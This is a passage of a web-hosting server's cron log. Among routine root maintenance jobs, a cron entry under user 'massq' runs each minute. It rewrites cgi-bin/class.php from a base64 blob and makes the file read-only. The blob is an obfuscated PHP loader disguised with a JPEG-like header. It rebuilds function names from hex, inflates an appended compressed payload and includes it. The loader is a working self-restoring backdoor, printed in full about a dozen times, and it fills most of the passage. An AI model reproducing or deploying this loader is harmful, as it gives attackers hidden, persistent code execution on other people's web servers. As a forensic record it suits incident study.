&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:50:01 server CROND[22127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:50:01 server CROND[22128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 07:50:01 server CROND[22130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:50:01 server CROND[22129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:50:01 server CROND[22131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 07:51:01 server CROND[22950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:52:01 server CROND[23496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:53:01 server CROND[24002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:54:01 server CROND[24824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:55:01 server CROND[25428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:55:01 server CROND[25429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:55:01 server CROND[25430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:56:01 server CROND[26073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:57:01 server CROND[26694]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:57:01 server CROND[26695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:58:01 server CROND[27475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:59:01 server CROND[28386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:00:01 server CROND[29217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:00:01 server CROND[29227]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov  9 08:00:01 server CROND[29231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:00:01 server CROND[29233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:00:01 server CROND[29235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 08:00:01 server CROND[29234]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 08:01:01 server CROND[30133]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 08:01:01 server CROND[30134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:01:01 server run-parts(/etc/cron.hourly)[30133]: starting 0anacron
Nov  9 08:01:01 server run-parts(/etc/cron.hourly)[30147]: finished 0anacron
